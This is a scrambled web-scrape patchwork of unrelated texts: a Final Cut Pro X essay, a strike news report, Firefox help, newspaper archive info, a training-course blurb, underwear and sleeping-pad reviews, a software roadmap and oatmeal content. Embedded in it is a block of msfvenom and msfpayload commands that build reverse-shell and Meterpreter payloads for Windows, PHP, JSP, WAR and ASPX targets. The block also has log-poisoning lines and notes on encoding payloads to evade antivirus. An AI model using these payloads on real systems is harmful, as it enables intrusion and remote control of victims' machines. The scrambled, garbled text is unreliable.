![]() ![]() This resulted in major changes to media management, the interface, and the process of editing. Apple started by asking: “What does editing look like in an all-digital world?” Then followed by asking: “What do editors who grew up in the world of computers and digital media expect?” Final Cut Pro X grew out of exploring the answers to those questions. This is a solid, traditional, totally understandable point of view.įinal Cut Pro X took a different approach. FCP 7 is built on the philosophy of “how editing has always been done.” Starting with editing between two rolls of film, morphing into multiple tape decks and expanding into the digital world. I learned then that good software represents a way of thinking a philosophy about how a task should be done.įinal Cut Pro 7 and Final Cut Pro X are good examples of this. It wasn’t great, but it put one of my kids through college. Take a look.īack in the 1980’s I wrote business-grade software. NOTE: I just discovered that there is a Final Cut Pro X Ecosystem page in the Mac App Store. But, if you enjoy getting work done on-time and on-budget, then you have some very interesting options. Nobody does that for a “throw-away” product. There are dozens of Apple staffers working on Final Cut Pro X every day – an investment of millions of dollars a year. “Apple took the easy way out by creating iMovie Pro.” If Apple wanted to take the easy way out, it would have added a couple of small features to FCP 7, incremented the version number and called it a day. It has a free trial version so you can test it for yourselfģ.There is a thriving ecosystem of developers, plug-ins and training that is larger than what existed in the Final Cut Studio era.It is in use every day for projects from corporate video to major motion pictures.It has more than 1 million registered users, larger than the installed base of FCP 7.12 updates in less than three years is an AMAZING level of support.But don’t let the launch blind you to what Final Cut Pro X has become: ![]() In fact, the initial release of FCP X was widely criticized. ![]() “Apple made me really angry when FCP X was launched.” True, the launch was not one of Apple’s best. “If I wait a bit longer, will Apple bring back Final Cut Pro 7?” No. Worry about what to do only after the project is complete.īut, if you are ready to move on, this article can help you decide what to do.īefore we compare FCP X to FCP 7, I need to clear the air on three points that keep reappearing in my email.ġ. If you are in the middle of a big FCP 7 project using hardware and software that is working fine, then don’t switch.
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![]() ![]() ![]() X86 - Shell msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse. X64 - Meterpreter msfvenom -p windows/å4/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe X86 - Meterpreter msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe X64 - Shell msfvenom -p windows/å4/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe Windows Listener Metasploit Multi Handler X86 - Shell msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe Msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx Windows Payloads Msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.jsp ASPX Payload Msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.jar JSP Payload Msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > reverse.war JAR Payload Web Payloads PHP Payload msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php War Payload ' > /tmp/t.go & go run /tmp/t.go & rm /tmp/t.go Telnet var/log/apache2/access.log /var/log/nginx/access.log curl -s -H "User-Agent: " "" User-Agent: /var/log/apache2/access.log&cmd=id /var/log/nginx/access.log&cmd=id Server Side Template Injection Task 3 (Types of Shell) As metioned before, there are two types of shells we are interested in: Reverse shells force the target to execute some code that connects back to your computer. Netcat would run as a listener (a socket server actually) and the php script has to be run on the victim server so that it connects back. Log Poisoning SSH /var/log/auth.log ssh /var/log/auth.log&cmd=id Log Poisoning FTPįtp> /var/log/vsftpd.log&cmd=id Log Poisoning HTTP Creating reverse shells using php scripts is generally quite easy and can be accomplished with just a small php and a program like netcat. I will include both Meterpreter, as well as non-Meterpreter shells for those studying for OSCP. # This command will create a reverse shell, remove null characters \x00, and # encode the file as ASP. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. To do this, we will use the command line tool msfvenom. Msfvenom is combination of both msfpayload, and msfencode. We will generate a reverse shell payload, execute it on a remote system, and get our shell. The makers of metsploit in all of their absolute brilliance have made this even easier in a tool called msfvenom. ![]() Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo. In both of the above examples, when the victim opens the exploit, it will attempt to establish a reverse shell by connecting to 192.168.10.146 on tcp port 443.įor more information on both of these commands check out. Join the Discord group or the telegram group or follow me on Twitter carlospolopm. Msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.10.146 LPORT=443 R | msfencode -o rmetshell443.asp #Create asp file using reverse tcp meterpreter Msfpayload php/meterpreter/reverse_tcp LHOST=192.168.10.146 LPORT=443 R >evil.php Below are a few examples on how to create shell code using msfpayload, as well as msfencode. When coupled with msfencode, they can also be used to obsfucate the signature of the file to help avoid detection with antivirus, remove bad characters(null bytes), inject shell code into executables, and several other tasks. These exploits can be used to create bind, and reverse shells. The shell code is used to exploit targets. Msfpayload is a metasploit utility to create shell code. msfvenom -p php/meterpreterreversetcp LHOST LPORT -f raw > shell.php cat shell.php pbcopy.![]() ![]() “These things are things that I personally can negotiate for,” Bacon said. ![]() The AMPTP said it has offered fair terms on those and other issues. Key issues for both unions include residual payments, which have been nearly wiped out by the switch to the streaming system, and the unpaid use of their work and likeness by artificial intelligence avatars. While actors and writers also emphasized the need to reach a deal, few believed any such agreement would be coming soon, given the vast distance between the unions and the Alliance of Motion Picture and Television Producers - which represents studios, streamers and production companies in negotiations that are currently neither happening nor planned. “We sincerely hope that both actors and writers strikes get resolved, and that the parties come together and have a mutually beneficial agreement as soon as possible.” And they deserve fair benefits," Jean-Pierre said. “The president believes all workers, including the writers, including the actors, they deserve fair pay. The issue also came up in Washington, when White House press secretary Karine Jean-Pierre responded to a question during Monday’s briefing about whether the Biden administration supports the aims of striking entertainment workers. On Monday temperatures were in the high 80s in New York, and well above 90 degrees F (32 C) in parts of Los Angeles, where some afternoon pickets were called off because of the extreme heat.Ī union rally was planned for later in the day in Atlanta, where many productions have moved in recent years because of tax breaks and other lower costs. ![]() “I’m on strike two times, which means I have to walk double the steps, which is hard, but I’m willing to do it.” ![]() “It’s been amazing to be out here now that we have the second wind of SAG members coming,” said Paul Scheer, who was already striking as a writer, and is now doing the same as an actor, outside Netflix headquarters in Hollywood. Leaders of the Screen Actors Guild-American Federation of Television and Radio Artists (SAG-AFTRA) voted unanimously on Thursday that when their contract expired they would start striking the following day, joining the Writers Guild of America, who walked out on May 2. So it’s been a really beautiful sense of community.” ![]() “I don’t think people necessarily realize the energy that writers and actors have,” Cox said outside Walt Disney Studios in Burbank, California, “and the stamina, and our ability to commit, that’s all our entire job is about is just committing to something and following through. One such working actor, Whitney Morgan Cox, who has appeared on the CBS series “Criminal Minds,” said it was “powerful” to see writers and actors come together who don't often work simultaneously in production. Kevin Bacon, who was among the famous faces picketing among unknowns outside Viacom headquarters in New York, said his presence was about “seeing people out here and being aware that not all actors are super high paid actors, that they are working class people who are trying to make a living.” Picketers emphasized unity between writers, who have been on the lines for more than two months, and performers, who are only on Day 2 of striking - as well as camaraderie between highly paid actors and those with spare screen credits who struggle to scrape by. LOS ANGELES – Solidarity and stamina were picket-line themes Monday as striking screenwriters and actors in New York and Los Angeles braced for a long, hot summer standoff with studios. ![]() ![]() ![]() Then, launch each one individually with the -p flag to set up different profiles for each version (or at least one for testing). Get acquainted with the peculiarities of installing Firefox old version and choose the optimal one for yourself, based on the type of your operating system. Download and install them in seperate directories. Go to the 'Firefox' section, then 'Support', 'Install and update' and then 'Install an older version'. Now it displays the version of firefox browser that you are using on an Apple Mac computer.Īs per the attached image, the version of the Firefox browser is 91.0.1 64 bit. Go to the official website of the Mozilla Firefox browser. Under the Firefox menu, choose the option “About Firefox”ģ. 1 has this problem 154 views Last reply by John99 6 years ago MikeA01730 8/18/16, 11:00 AM more options Hi, In my Windows 10 Control Panel I see two installs of Firefox: 47.0.1 and 48.0. You can launch the Mozilla Firefox browser by navigating: Launchpad > Firefox.Ģ. On your Mac computer, open the Firefox browser. Now it displays complete technical information about Firefox browser and computer details.ġ.Copy and Paste about:support on your Firefox browser.Method: 2 – Firefox – Troubleshooting Information ![]() Otherwise, it will automatically start downloading with updates and get installed with the latest version. If you are using the latest version of Firefox browser, it displays with the text “Firefox is up to date”. Now version number displays on the Firefox image. Under the Help menu option, it displays a list of options such asĥ. This will create the directory /opt/firefox/ containing the installation. In a terminal navigate to the directory containing the download and execute: tar -xvjf 2 -C /opt/. but you can try one of these versions: Download Firefox English (US) Windows 64-bit Windows 64-bit MSI. Extract the downloaded tar.bz2 archive to /opt/. In the drop-down menu of the Firefox browser, displays a list of settings options. Get the not-for-profit-backed browser on Windows, Mac or Linux. How to find which version of Firefox you are using on MacĬheck Which Version of Firefox is installed on Windowsġ. ![]() How to check which version of Firefox Am I using on Windows To check which version of Firefox that you are using on your computer or mobile devices, refer below step by step procedure how to find that what Firefox version that I am using. If you are connected to the internet, the Firefox browser will automatically check the version and updates to the new version when you are checking the version on your system. It is a mandatory step to check the installed Mozilla Firefox version on your computer and update it with the latest version. ![]() ![]() ![]() The fifty-year-old Mellott, an avid golfer who took over as publisher in 2004 “with a mandate for change,” has watched print advertising revenue drop precipitously, in line with industry trends. I’ve been asking Mellott to describe the business model behind the AJC’s recent restructuring, designed, among other things, to put digital operations on an equal footing with print. That is, if I could figure out precisely what Mellott’s arm gesture means for the future of journalism and the Journal-Constitution. “This,” he explains, “is the skillful management of a toggle.” Where is a photographer when you really need one? Of course, if I were a “mojo”-“mobile journalist”-for the AJC, I’d have my digital point-and-shoot at the ready, and then I’d whip out my laptop and file something online. Mellott, the affable publisher of The Atlanta Journal-Constitution, is moving his forearm up and down like a lever. Many other academic and large public libraries have Journal-Constitution microfilm.John C. University of Washington Libraries, Seattle, WA Telephone: 20.University of North Carolina, Chapel Hill, NC Telephone: 91.University of Missouri, Columbia, MO Telephone: 57.New York Public Library, New York, NY Telephone: 21.Web: main library has the complete Journal-Constitution holdings, back to 1883 for the Journal, and 1868 for the Constitution. ![]() A handy link to Georgia public, academic and technical school library catalogs and Web sites is provided by GALILEO at Microfilm sources elsewhere in Georgia.Web: main library has selected Journal-Constitution holdings, back to 1969. Web: The main library has the complete Journal-Constitution holdings, back to 1883 for the Journal, and 1868 for the Constitution. Georgia Institute of Technology, Telephone: 40.Georgia State University's William Russell Pullen Library, 100 Decatur Street SE, Atlanta.Web: The main library has selected The Atlanta Journal-Constitution holdings, back to 1883 for the Journal, and 1881 for the Constitution. Emory University Libraries, 540 Ashbury Circle, Atlanta.Web: Atlanta History Center has the complete Journal-Constitution holdings, back to 1883 for the Journal, and 1868 for the Constitution. Atlanta History Center, 30 West Paces Ferry Road, Atlanta.The Collins Hill Branch does not carry the Journal microfilm. Web: Collins Hill Branch carries the complete Constitution microfilm back to 1868. Gwinnett County Public Library, 455 Camp Perrin Rd., Lawrenceville.Web: The main branch has the complete Journal-Constitution holdings, back to 1883 for the Journal, and 1868 for the Constitution. DeKalb County Public Library, 215 Sycamore St., Decatur.The main branch does not carry the Journal microfilm. Web: main branch has Constitution microfilm back to 1971. Cobb County Public Library, 266 Roswell St.Atlanta-Fulton Public Library, One Margaret Mitchell Square, Atlanta, near the Peachtree MARTA station.The Atlanta Journal-Constitution microfilm is available in many metro Atlanta libraries, including: (Information on newspapers prior to 1876) (Birthday & historic date papers from the 20th century) Try searching for collectible newspapers or old newspapers for sale. Here are some organizations that may be helpful as a starting place. The Atlanta Journal-Constitution does not offer microfilm search services to the public. When you search, keep in mind there are no digital records for The Atlanta Journal before 1985 (text only), 2001 (pages), and the full run of The Atlanta Constitution is only available on. Other sources include The Atlanta History Center and select public libraries in metro Atlanta. Note that there is a cost associated with this site, and it is not owned or operated by The Atlanta Journal-Constitution. Tap or click here for help on downloading or printing an online article from our ePaper. There are several ways to find a back issue of The Atlanta Journal-Constitution.Īll subscribers have the access to search up to 2 ½ years of back issues through the e Paper. ![]() ![]() ![]() This Lean Six Sigma Black Belt Upgrade course is designed for Green Belt certification holders who wish to upgrade to the Black Belt. Lean Six Sigma Black Belt Upgrade Course Overview Please note that Minitab is not currently compatible with Macs. ![]() You must ensure that you download Minitab at the correct time so that you have it for the duration of the course. A 30 day version is available, so details of how to install this will feature in your pre-course package. You will also need a laptop with a copy of Minitab 16 or later installed. We also recommend revising the Yellow and Green course material in order to restore prior knowledge. We will provide you with some reading to do before the course begins. The Green Belt qualification can be obtained with The Knowledge Academy. Prerequisitesĭelegates must possess the Lean Six Sigma Green Belt certification in order to attend this training course. We recommend this training course for any Lean Six Sigma Green Belt holder looking to enhance their knowledge of Lean Six Sigma and manage Lean Six Sigma projects. Who should attend this Lean Six Sigma Training?
![]() ![]() “I’m a 42H and I haven’t worn a bra since June 2020,” reveals Agnes Bebon, a marketing manager based in Montreal, who added that she overhauled her wardrobe when she made the decision to go braless because she “was finally dressing for myself and not hiding my body.” (Though she also notes that she does wear sports bra-like tops now, following back-to-office mandates.) “Bras were always uncomfortable, never fit right, and left marks on me. Rachpoot/Bauer-Griffinįor some, the onset of the pandemic was, in fact, the catalyst for saying goodbye to bras, and the practice has stuck. In the years since the pandemic began, a shift away from traditional bras is tangible: remote work is still common, fashion trends like backless tops and sheer dresses are gracing red carpets, the body positivity movement is continuing to evolve, and bodily autonomy, in the wake of the overturn of Roe v. Beginning in March 2020, when offices shut down worldwide and remote work protocols were put into place, working in sweatpants, and often, braless, from one’s living room (or bed) became the new normal for many. ![]() But perhaps the most significant event regarding how society views wearing bras in recent history has been the COVID-19 pandemic. The image of the “bra-burning feminist” is synonymous with the Women’s Liberation Movement of the 1960s and 1970s, although the actual burning of bras has since been proven to be a myth. The “Free the Nipple” campaign began in 2012, and a film of the same name was released in 2014. Ahead, the best seamless underwear to add to your top drawer now.Questioning how we view breasts-and exactly how visible they can be to remain “appropriate”-is nothing new. Whether you’re looking for briefs that cover your cheeks or a soft and comfortable thong to wear with your favorite workout leggings, there’s a do-it-all option out there for you. Whether you’re wearing bike shorts, black leggings, or a summer wedding dress, seamless underwear keeps all things smooth and contoured underneath.įrom classic laser-cut styles to cute and colorful options, there are endless choices when it comes to seamless underwear. It’s true that cotton underwear typically takes the crown as the most comfortable option, but seamless, moisture-wicking styles offer a quick solution for tighter ’fits or special occasions, like nuptials. Best High-Waisted: Cuup The Tap Briefs, $20.Best Bikini: Felina So Smooth Modal Bikini Panties, $14.Best Brief: Boody Body EcoWear Full Briefs, $30.Best Thong: Victoria’s Secret Seamless Heathered Thong, $30.Best Value: Cosabella Talco G-String (7-Pack), $100.Best Budget: Parade Cheeky Re:Play Underwear, $10.In need of more support? Opt for high waistbands (like Cuup’s beloved pair) and reinforced seams to hold you in. ![]() ![]() Start by prioritizing fabrics that are stretchy, breathable, and moisture-wicking like nylon, spandex, and elastane. But what should you look for when shopping for seamless underwear? These minimalist undies are a tried-and-true wardrobe essential that can provide equal parts comfort, support, and a sleek look underneath any outfit. Say goodbye to frustrating visible panty lines with the best seamless underwear. ![]() ![]() It has lots of loft, so you can't feel anything uneven terrain under the pad. While it won't replace my old Thermarest for solo go-light trips, this thing is insanely comfortable, easy to fill (mostly self-inflate), and spacious. I've had my eyes on this sleeping pad for about a year and recently picked it up during the 20% off sale. I'm also impressed by how perfectly it fits in the Jeep. This is by far the most comfortable portable mattress I've slept on. This mattress is great! So far I've used it in the house as well as in my custom built sleeping platform in my '05 Jeep Wrangler Unlimited. I have a 'bad everything' shoulders, back, hips.this has made camping life bearable. It's a near perfect fit and has made sleeping a pleasure. I replaced the rock hard mattress in my hard shell roof top tent. Just went on a week long camping trip with my wife and using the MegaMat Duo 10 and it was fantastic inflated easily deflation took a little effort but well worth it for a week of good sleep while camping !!!! Buy it use it love it The last camping trip i went on i had your typical generic Air Mattress which i have had a lot of over my years of camping because they always leak 35-45-55-65-75-85 dollars always the same result after 2-3 uses they end up deflating 1/2 way through the night. Slept great and best of all no complaints from my wife! My only minor gripe is that it does take a bit of time to force all the air out of it when packing up to get it small enough to roll up and put into the carrier. Initially we put too much air in it and had to bleed some out overnight but once we got it dialed in it was perfect. This thing is huge, and it event takes up a good bit of space in the trunk, but sleeping on it was just as comfortable as my Tempurpedic mattress at home. I picked up a Megamat on sale Memorial Day weekend and never regretted it. I was introducing my wife to camping so I wanted to make it as comfortable as possible the first time out. ![]() This was well worth the money we are considering another two for our kids. Bottom line I demaneed that we not buy another cheap camping mat. It's also a bit narrow but makes it good for snuggling. Only problem it is not long enough for my 6'3" husband. ![]() It is big, not something that I would take on a canoe trip. ![]() We didn't have a problem deflating the mat or packing up. Nights got into the 40's for August and no problem sleeping. We spent 7 nights in the tent and didn't have to re inflate. Exped - MegaMat Duo 10 Sleeping Pad Category: Sleeping Pads, Cots and Hammocks ![]() ![]() ![]() When macOS Monterey shipped in October, we were again ready with Shortcuts support for all of our Mac apps, integrating Shortcuts with Omni Automation to put the full power of our apps in the hands of those who use them. ![]() When iOS 15 shipped in September, we had app updates ready so customers could immediately leverage new features like Focus and Live Text. Of course, that isn’t all we were doing throughout the year we issued updates to all of our apps. Fortunately, we bet on the right horse Apple continued to improve Swift and SwiftUI this year, allowing us to “skate to where the puck is going to be” and keep our focus on our primary goal of improving the flow of using OmniFocus. ![]() Back in 2020, I shared that we were redesigning and rebuilding our apps based on the latest Apple technologies, particularly SwiftUI. We really appreciate all of the insights that you have shared with us, about both form and function-as the year progressed, you inspired us to innovate with OmniFocus in some amazing ways.Īs usual, we watched Apple’s announcements closely during their Worldwide Developer Conference (WWDC), which is when we learned about planned changes coming to Apple’s platforms. One of the great things about having so many people engaged through TestFlight is that it’s given us the opportunity to experiment: revisiting earlier design decisions, while staying grounded and responsive to immediate feedback. Happily, the response was overwhelmingly enthusiastic! By mid-August we had invited thousands of eager testers to the TestFlight, and we now have more than 7,000 testers. In May, we shared a first look at the redesign work we were doing for OmniFocus 4, and we invited you all to join the OmniFocus 4 TestFlight and to offer feedback. Gone are the days where you would need to purchase OmniPlan for each platform independently! Our redesigned licensing system makes it easy for customers to purchase OmniPlan from any store and to use those licenses on any platform. This means that anyone who purchases an OmniPlan license can use it on all supported platforms: iPad, iPhone, and the Mac. We started last year by shipping OmniPlan 4 for iPad and iPhone, completing our first truly Universal product. We truly hope that all of you, wherever you are, remain safe and well. Last year, we quietly settled into our new groove of working and collaborating remotely during this global pandemic. For more than a decade, we’ve published an annual roadmap in January that reflects on the progress we made over the past year and shares our plans for the upcoming year. ![]() ![]() Additionally, Quaker provides so many flavor choices, as well as better-for-you options to meet people's preferences, like plain and reduced sugar, so there's no need to skip out or think that instant oats aren't healthy. Also, we know that there are health benefits to eating breakfast, especially when it comes to diet quality and weight management. Are instant oats still a healthy breakfast option?Ī: Absolutely! As I said, the benefits really don't differ between the three types of oats. ![]() Q: It sometimes seems as if, when it comes to food, convenience comes at the price of health. You wouldn't want to put steel-cut oats in an energy bite, for instance! Otherwise, all three are great options. If you're using oats in a non-oatmeal recipe, it is important to use what's called for so that the recipe comes out right. For other people, texture is important, and they find the delicious bite of steel-cut oats more desirable. There are also culinary and personal preferences! For some people, that preparation time is a huge deciding factor. Q: Besides shape, texture and cooking time, are there any other important differences between these three popular types of oats?Ī: You hit on the major differences –shape, texture and cooking time. All forms of oats are 100% whole grain, a good source of fiber and have the same nutritional information – same calories, fiber and protein per serving. There aren't any major differences in the nutrition benefits of the three types of oats. Q: Are there major differences in the health benefits of steel-cut, rolled and instant oats? If so, what are they?Ī: Great question, and one that we get a lot. Manager, Nutrition Sciences PepsiCo Global R&D Doing this may help curb her curiosity about these foods without undermining the values of good nutrition you have instilled in her. It would be better to allow her to sample these foods on occasion than to ban them entirely. It is unrealistic to expect your child to never eat sweets or other unhealthy snacks. Expert InsightĪ Quaker nutrition expert weighs in on the different oats, and reveals her favorite savory oatmeal recipe. What's The Difference Between Steel Cut and Old Fashioned Oats?Ī quick breakdown of what you need to know about the two breakfast favorites. They microwave in minutes, and have a soft texture.Ĭhoosing your oat is largely about the texture you prefer and the cooking time you're willing to dedicate. Instant Great for mornings when you need a quick bite, individually packed instant oats are a thinner, more finely chopped version of rolled oats. Quick Cook: If you want stove-cooked oats but are in a hurry, these oats, which cook in one minute, are a great option. ![]() Also called Irish oatmeal, steel-cut oatmeal is chewier than rolled or instant. Steel Cut: These oats, which take about 20-30 minutes to prepare, are chopped into tiny pieces and have a tough texture before they are cooked. They absorb more water and cook faster than steel-cut oats - usually in about 5 minutes - and are the oat of choice for granola bars, cookies, and muffins. Old Fashioned: Also called rolled oats, old fashioned oats are flat and flakey. So what's the difference between the four most popular types of oats? Here's a crib sheet. Related: Surprising Uses For Oats The Breakdown The variations in processing determine the type of oat that results. All oats begin as groats, or kernels of grain that are later processed into different varieties. As a daily part of a diet low in saturated fat and cholesterol, whole grain oatmeal, in any of these forms, may help reduce the risk of heart disease. Before we break down the difference between your four options, let's start with what they have in common. ![]() |
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